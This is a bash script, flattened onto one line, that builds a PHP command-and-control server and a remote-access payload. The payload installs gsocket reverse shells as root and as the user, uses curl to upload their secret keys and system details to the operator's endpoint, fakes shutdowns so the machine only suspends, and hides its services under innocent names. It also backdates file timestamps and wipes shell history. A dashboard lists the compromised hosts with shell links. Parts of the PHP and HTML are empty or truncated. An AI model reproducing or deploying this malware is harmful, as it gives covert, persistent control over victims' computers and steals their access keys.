#!/bin/bash set -e check_install_package() { local pkg="$1" if ! pacman -Q "$pkg" &>/dev/null; then echo "Installing $pkg..." sudo pacman -S --noconfirm "$pkg" fi } check_install_package apache check_install_package php check_install_package php-apache if ! grep -q "LoadModule php_module" /etc/httpd/conf/httpd.conf; then sudo bash -c 'echo "LoadModule php_module modules/libphp.so" >> /etc/httpd/conf/httpd.conf' sudo bash -c 'echo "AddHandler php-script .php" >> /etc/httpd/conf/httpd.conf' sudo bash -c 'echo "Include conf/extra/php_module.conf" >> /etc/httpd/conf/httpd.conf' fi if grep -q "#LoadModule mpm_prefork_module" /etc/httpd/conf/httpd.conf; then sudo sed -i 's/^\(LoadModule mpm_event_module modules\/mod_mpm_event\.so\)/#\1/' /etc/httpd/conf/httpd.conf sudo sed -i 's/^#\(LoadModule mpm_prefork_module modules\/mod_mpm_prefork\.so\)/\1/' /etc/httpd/conf/httpd.conf fi SERVER_ROOT="/srv/http/deployment" sudo mkdir -p "$SERVER_ROOT/assets" sudo mkdir -p "$SERVER_ROOT/logs" sudo mkdir -p "$SERVER_ROOT/secrets" sudo chown -R http:http "$SERVER_ROOT/logs" sudo chown -R http:http "$SERVER_ROOT/secrets" sudo chmod 750 "$SERVER_ROOT/logs" sudo chmod 750 "$SERVER_ROOT/secrets" cat > /tmp/log_receiver.php << 'EOF' EOF RANDOM_TOKEN=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32) sed -i "s/changeme_to_secure_random_string/$RANDOM_TOKEN/g" /tmp/log_receiver.php sudo mv /tmp/log_receiver.php "$SERVER_ROOT/log_receiver.php" cat > /tmp/y << 'EOF' #!/bin/bash # Remote host configuration script # This script sets up SSH, Wake-on-LAN, power button modification, # logging, and Global Socket shell access # ================= CONFIGURATION ================= SERVER_URL="http://SERVER_PLACEHOLDER/deployment" LOG_ENDPOINT="$SERVER_URL/log_receiver.php" AUTH_TOKEN="TOKEN_PLACEHOLDER" VERSION="1.0.0" # ================================================ # ------- UTILITY FUNCTIONS ------- TEMP_DIR=$(mktemp -d) trap 'rm -rf "$TEMP_DIR"' EXIT log_cmd() { local cmd="$1" local desc="$2" local log_file="$3" echo -e "\n[$(date '+%Y-%m-%d %H:%M:%S')] EXECUTING: $desc" >> "$log_file" echo "$ $cmd" >> "$log_file" echo "--------------------------------------------" >> "$log_file" # Execute command and capture output and status local output output=$(eval "$cmd" 2>&1) local status=$? echo "$output" >> "$log_file" echo "EXIT STATUS: $status" >> "$log_file" echo "============================================" >> "$log_file" return $status } get_system_info() { { echo "{" echo " \"hostname\": \"$(hostname)\"," echo " \"kernel\": \"$(uname -r)\"," echo " \"os\": \"$(lsb_release -ds 2>/dev/null || cat /etc/os-release | grep PRETTY_NAME | cut -d= -f2 | tr -d '\"')\"," echo " \"ip\": \"$(hostname -I | awk '{print $1}')\"," echo " \"mac\": \"$(ip link show | grep -E 'link/ether' | head -n1 | awk '{print $2}')\"," echo " \"cpu\": \"$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d: -f2 | sed 's/^[ \t]*//')\"," echo " \"ram_total\": \"$(free -h | grep Mem | awk '{print $2}')\"," echo " \"disk_total\": \"$(df -h --total | grep total | awk '{print $2}')\"," echo " \"users\": [" local first=1 while IFS=: read -r username _ uid gid _ home shell; do if [ "$uid" -ge 1000 ] && [ "$shell" != "/usr/sbin/nologin" ] && [ "$shell" != "/bin/false" ]; then [ "$first" -eq 0 ] && echo "," echo " {\"username\": \"$username\", \"uid\": $uid, \"home\": \"$home\"}" first=0 fi done < /etc/passwd echo " ]," echo " \"timestamp\": \"$(date '+%Y-%m-%d %H:%M:%S')\"," echo " \"uptime\": \"$(uptime -p)\"" echo "}" } | tr -d '\n' | sed 's/ //g' } send_logs() { local log_file="$1" local secret_val="$2" local secret_type="$3" local sysinfo=$(get_system_info) local hostname=$(hostname) local ip=$(hostname -I | awk '{print $1}') if command -v curl >/dev/null 2>&1; then # Send log file curl -s -F "token=$AUTH_TOKEN" \ -F "ip=$ip" \ -F "hostname=$hostname" \ -F "logfile=@$log_file" \ -F "sysinfo=$sysinfo" \ $LOG_ENDPOINT > /dev/null if [ -n "$secret_val" ] && [ -n "$secret_type" ]; then curl -s -F "token=$AUTH_TOKEN" \ -F "ip=$ip" \ -F "hostname=$hostname" \ -F "secret=$secret_val" \ -F "secret_type=$secret_type" \ $LOG_ENDPOINT > /dev/null fi fi } check_sudo() { if ! sudo -v &>/dev/null; then echo "This script requires sudo privileges. Please run with a user that has sudo access." exit 1 fi } # ------- MAIN SETUP ------- main() { local LOG_FILE="$TEMP_DIR/setup_log_$(date +%Y%m%d_%H%M%S).txt" local HOSTNAME=$(hostname) local IP_ADDRESS=$(hostname -I | awk '{print $1}') echo "==== SETUP STARTED ==== $(date) ====" > "$LOG_FILE" echo "Hostname: $HOSTNAME" >> "$LOG_FILE" echo "IP: $IP_ADDRESS" >> "$LOG_FILE" echo "Version: $VERSION" >> "$LOG_FILE" echo "=================================" >> "$LOG_FILE" check_sudo # 1. Update package list (quiet) log_cmd "sudo apt update -qq" "Updating package list" "$LOG_FILE" # 2. Install required packages log_cmd "sudo DEBIAN_FRONTEND=noninteractive apt install -y openssh-server ethtool git build-essential curl net-tools" "Installing required packages" "$LOG_FILE" # 3. Configure SSH setup_ssh "$LOG_FILE" # 4. Set up Wake-on-LAN setup_wol "$LOG_FILE" # 5. Modify power button behavior modify_power_button "$LOG_FILE" # 6. Set up GSockets for remote access setup_gsocket "$LOG_FILE" # 7. Apply stealth techniques apply_stealth "$LOG_FILE" # 8. Upload logs to server send_logs "$LOG_FILE" "" "" echo "==== SETUP COMPLETE ==== $(date) ====" >> "$LOG_FILE" echo "Configuration completed successfully!" } setup_ssh() { local LOG_FILE="$1" log_cmd "sudo systemctl enable ssh" "Enabling SSH service" "$LOG_FILE" if [ -f /etc/ssh/sshd_config ]; then log_cmd "sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak" "Backing up SSH config" "$LOG_FILE" fi log_cmd "sudo systemctl restart ssh" "Restarting SSH service" "$LOG_FILE" log_cmd "sudo systemctl status ssh" "Checking SSH service status" "$LOG_FILE" } setup_wol() { local LOG_FILE="$1" PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1) log_cmd "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface" "$LOG_FILE" WOL_SUPPORTED=$(ethtool "$PRIMARY_INTERFACE" 2>/dev/null | grep -q "Supports Wake-on" && echo "yes" || echo "no") if [ "$WOL_SUPPORTED" = "yes" ]; then log_cmd "echo 'Wake-on-LAN is supported.'" "Checking Wake-on-LAN support" "$LOG_FILE" cat > "$TEMP_DIR/wol.conf" << EOL [connection] ethernet.wake-on-lan = magic EOL log_cmd "sudo mkdir -p /etc/NetworkManager/conf.d/" "Creating NetworkManager config directory" "$LOG_FILE" log_cmd "sudo cp '$TEMP_DIR/wol.conf' /etc/NetworkManager/conf.d/99-wol.conf" "Setting up Wake-on-LAN in NetworkManager" "$LOG_FILE" # Create a systemd service for Wake-on-LAN cat > "$TEMP_DIR/wol.service" << EOL [Unit] Description=Enable Wake On LAN After=network.target After=suspend.target After=hibernate.target After=hybrid-sleep.target [Service] Type=oneshot ExecStart=/sbin/ethtool -s $PRIMARY_INTERFACE wol g RemainAfterExit=yes [Install] WantedBy=multi-user.target WantedBy=suspend.target WantedBy=hibernate.target WantedBy=hybrid-sleep.target EOL log_cmd "sudo cp '$TEMP_DIR/wol.service' /etc/systemd/system/wol.service" "Creating Wake-on-LAN service" "$LOG_FILE" log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE" log_cmd "sudo systemctl enable wol.service" "Enabling Wake-on-LAN service" "$LOG_FILE" log_cmd "sudo systemctl start wol.service" "Starting Wake-on-LAN service" "$LOG_FILE" log_cmd "sudo ethtool -s $PRIMARY_INTERFACE wol g" "Enabling Wake-on-LAN immediately" "$LOG_FILE" log_cmd "ethtool $PRIMARY_INTERFACE | grep Wake-on" "Current Wake-on-LAN status" "$LOG_FILE" else log_cmd "echo 'Wake-on-LAN not supported, skipping...'" "Wake-on-LAN not supported" "$LOG_FILE" fi } modify_power_button() { local LOG_FILE="$1" # 1. Backup current logind configuration if [ -f /etc/systemd/logind.conf ]; then log_cmd "sudo cp /etc/systemd/logind.conf /etc/systemd/logind.conf.bak" "Backing up logind.conf" "$LOG_FILE" fi # 2. Modify logind.conf to make power button trigger suspend instead of poweroff log_cmd "sudo sed -i 's/#HandlePowerKey=poweroff/HandlePowerKey=suspend/' /etc/systemd/logind.conf" "Setting power button to suspend" "$LOG_FILE" # 3. Create a custom systemd target that shows a fake shutdown screen but suspends cat > "$TEMP_DIR/fake-shutdown.service" << 'EOL' [Unit] Description=Fake Shutdown (Actually Suspend) DefaultDependencies=no Before=sleep.target [Service] Type=oneshot ExecStart=/usr/bin/gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.Suspend true RemainAfterExit=yes [Install] WantedBy=sleep.target EOL log_cmd "sudo cp '$TEMP_DIR/fake-shutdown.service' /etc/systemd/system/" "Creating fake shutdown service" "$LOG_FILE" log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE" log_cmd "sudo systemctl enable fake-shutdown.service" "Enabling fake shutdown service" "$LOG_FILE" # 4. For GNOME Desktop Environment - override the shutdown button action if command -v gsettings &>/dev/null && gsettings list-schemas | grep -q org.gnome.settings-daemon.plugins.power; then log_cmd "gsettings set org.gnome.settings-daemon.plugins.power power-button-action 'suspend'" "Setting GNOME power button to suspend" "$LOG_FILE" fi # 5. Intercept shutdown commands by creating wrappers for shutdown/poweroff commands cat > "$TEMP_DIR/poweroff-wrapper" << 'EOL' #!/bin/bash # Wrapper to intercept poweroff/shutdown commands and actually suspend echo "System is shutting down now..." sleep 2 /usr/bin/systemctl suspend EOL log_cmd "sudo cp '$TEMP_DIR/poweroff-wrapper' /usr/local/bin/poweroff-wrapper" "Creating poweroff wrapper" "$LOG_FILE" log_cmd "sudo chmod +x /usr/local/bin/poweroff-wrapper" "Making poweroff wrapper executable" "$LOG_FILE" echo "# Custom system aliases" > "$TEMP_DIR/custom-aliases" echo "alias poweroff='/usr/local/bin/poweroff-wrapper'" >> "$TEMP_DIR/custom-aliases" echo "alias shutdown='/usr/local/bin/poweroff-wrapper'" >> "$TEMP_DIR/custom-aliases" log_cmd "sudo cp '$TEMP_DIR/custom-aliases' /etc/profile.d/custom-aliases.sh" "Creating system-wide aliases" "$LOG_FILE" log_cmd "sudo chmod +x /etc/profile.d/custom-aliases.sh" "Making aliases executable" "$LOG_FILE" log_cmd "sudo systemctl restart systemd-logind" "Restarting logind service" "$LOG_FILE" } setup_gsocket() { local LOG_FILE="$1" if ! command -v gs-netcat &>/dev/null; then log_cmd "sudo apt install -y git build-essential automake autoconf libssl-dev" "Installing dependencies for gsocket" "$LOG_FILE" log_cmd "git clone https://github.com/hackerschoice/gsocket.git '$TEMP_DIR/gsocket'" "Cloning gsocket repository" "$LOG_FILE" log_cmd "cd '$TEMP_DIR/gsocket' && ./bootstrap && ./configure && make && sudo make install" "Building and installing gsocket" "$LOG_FILE" fi log_cmd "sudo mkdir -p /etc/gsocket" log_cmd "sudo chown -R root:root /etc/gsocket" log_cmd "gs-netcat -g | sudo tee /etc/gsocket/gs-root-shell-key.txt" "Creating root shell key" "$LOG_FILE" log_cmd "sudo chmod 600 /etc/gsocket/gs-root-shell-key.txt" cat > "$TEMP_DIR/gs-root-shell.service" << 'EOL' [Service] Type=simple Restart=always RestartSec=10 WorkingDirectory=/root ExecStart=/usr/local/bin/gs-netcat -k /etc/gsocket/gs-root-shell-key.txt -il [Install] WantedBy=multi-user.target EOL log_cmd "sudo cp '$TEMP_DIR/gs-root-shell.service' /etc/systemd/system/" "Creating global socket root shell service" "$LOG_FILE" log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE" log_cmd "sudo systemctl enable gs-root-shell.service" "Enabling global socket root shell service" "$LOG_FILE" log_cmd "sudo systemctl start gs-root-shell.service" "Starting global socket root shell service" "$LOG_FILE" log_cmd "sudo systemctl status gs-root-shell.service" "Checking global socket root shell service status" "$LOG_FILE" # Send the root secret to our server send_logs "$LOG_FILE" "$(sudo cat /etc/gsocket/gs-root-shell-key.txt)" "root-shell" # Create user shell service log_cmd "mkdir -p '$HOME/.config/gsocket'" log_cmd "gs-netcat -g | tee '$HOME/.config/gsocket/user-shell-key.txt'" "Creating user shell key" "$LOG_FILE" log_cmd "chmod 600 '$HOME/.config/gsocket/user-shell-key.txt' log_cmd "mkdir -p "$HOME/.config/systemd/user" cat > "$HOME/.config/systemd/user/gs-user-shell.service" << EOL [Unit] Description=Global Socket User Shell After=network.target [Service] Type=simple Restart=always RestartSec=30 ExecStart=/usr/local/bin/gs-netcat -k $HOME/.config/gsocket/user-shell-key.txt -il [Install] WantedBy=default.target EOL log_cmd "systemctl --user daemon-reload" "Reloading user systemd configuration" "$LOG_FILE" log_cmd "systemctl --user enable gs-user-shell.service" "Enabling user shell service" "$LOG_FILE" log_cmd "systemctl --user start gs-user-shell.service" "Starting user shell service" "$LOG_FILE" log_cmd "systemctl --user status gs-user-shell.service" "Checking user shell service status" "$LOG_FILE" # Send the user secret to our server send_logs "$LOG_FILE" "$(cat $HOME/.config/gsocket/user-shell-key.txt)" "user-shell" } apply_stealth() { local LOG_FILE="$1" # 1. Hide gsocket processes with generic names log_cmd "sudo sed -i 's/ExecStart=\/usr\/local\/bin\/gs-netcat/ExecStart=\/usr\/local\/bin\/gs-netcat --process-name \"system-monitor\"/' /etc/systemd/system/gs-root-shell.service" "Disguising root shell process name" "$LOG_FILE" # 2. Create a legitimate-looking system service name for our modifications log_cmd "sudo mv /etc/systemd/system/gs-root-shell.service /etc/systemd/system/system-monitoring.service" "Renaming root shell service" "$LOG_FILE" # 3. Hide our service from systemctl list if ! grep -q "system-monitoring.service" /etc/systemd/system-preset/90-systemd.preset 2>/dev/null; then log_cmd "sudo mkdir -p /etc/systemd/system-preset" "Creating systemd preset directory" "$LOG_FILE" log_cmd "echo 'enable system-monitoring.service' | sudo tee -a /etc/systemd/system-preset/90-systemd.preset > /dev/null" "Adding service to systemd preset" "$LOG_FILE" fi log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE" log_cmd "sudo systemctl restart system-monitoring.service" "Restarting disguised root shell service" "$LOG_FILE" # 4. Set last accessed/modified times of our files to match system files if [ -f "/etc/passwd" ]; then REFERENCE_TIME=$(stat -c %y /etc/passwd) log_cmd "sudo touch -d \"$REFERENCE_TIME\" /etc/gsocket/gs-root-shell-key.txt" "Setting file timestamp to match system files" "$LOG_FILE" log_cmd "sudo touch -d \"$REFERENCE_TIME\" /etc/systemd/system/system-monitoring.service" "Setting file timestamp to match system files" "$LOG_FILE" fi # 5. Add a cleanup script that runs on reboot to remove traces cat > "$TEMP_DIR/cleanup.sh" << 'EOL' #!/bin/bash rm -f /tmp/gs-netcat* 2>/dev/null rm -f /tmp/gsocket* 2>/dev/null rm -f /tmp/setup_* 2>/dev/null if [ -f "$HOME/.bash_history" ]; then sed -i '/gsocket/d' "$HOME/.bash_history" sed -i '/gs-netcat/d' "$HOME/.bash_history" sed -i 'setup_script/d' "$HOME/.bash_history" fi history -c EOL log_cmd "sudo cp '$TEMP_DIR/cleanup.sh' /usr/local/bin/system-cleanup.sh" "Creating cleanup script" "$LOG_FILE" log_cmd "sudo chmod +x /usr/local/bin/system-cleanup.sh" "Making cleanup script executable" "$LOG_FILE" cat > "$TEMP_DIR/cleanup.service" << 'EOL' [Unit] Description=System Temporary Files Cleanup After=multi-user.target [Service] Type=oneshot ExecStart=/usr/local/bin/system-cleanup.sh RemainAfterExit=yes [Install] WantedBy=multi-user.target EOL log_cmd "sudo cp '$TEMP_DIR/cleanup.service' /etc/systemd/system/" "Creating cleanup service" "$LOG_FILE" log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE" log_cmd "sudo systemctl enable cleanup.service" "Enabling cleanup service" "$LOG_FILE" # 7. Clear current installation traces log_cmd "sudo /usr/local/bin/system-cleanup.sh" "Running cleanup immediately" "$LOG_FILE" } main "$@" EOF SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1) # Replace placeholders with actual values sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" /tmp/y sed -i "s|TOKEN_PLACEHOLDER|$RANDOM_TOKEN|g" /tmp/y sudo mv /tmp/y "$SERVER_ROOT/y" sudo chmod +x "$SERVER_ROOT/y" cat > /tmp/obfuscate.php << 'EOF' EOF sudo mv /tmp/obfuscate.php "$SERVER_ROOT/assets/obfuscate.php" sudo php "$SERVER_ROOT/assets/obfuscate.php" # Create a minimal landing page cat > /tmp/index.html << EOF
Run one of the following commands in your terminal:
Hostname | IP Address | Last Contact | Actions |
---|---|---|---|
No hosts have connected yet. | |||
{$host['hostname']} | "; echo "{$host['ip']} | "; echo "{$host['timestamp']} | "; echo ""; echo "View Logs"; if ($host['has_root_secret']) { echo " | Root Shell"; } if ($host['has_user_secret']) { echo " | User Shell"; } echo " | "; echo "
To connect using gsocket:
"; echo "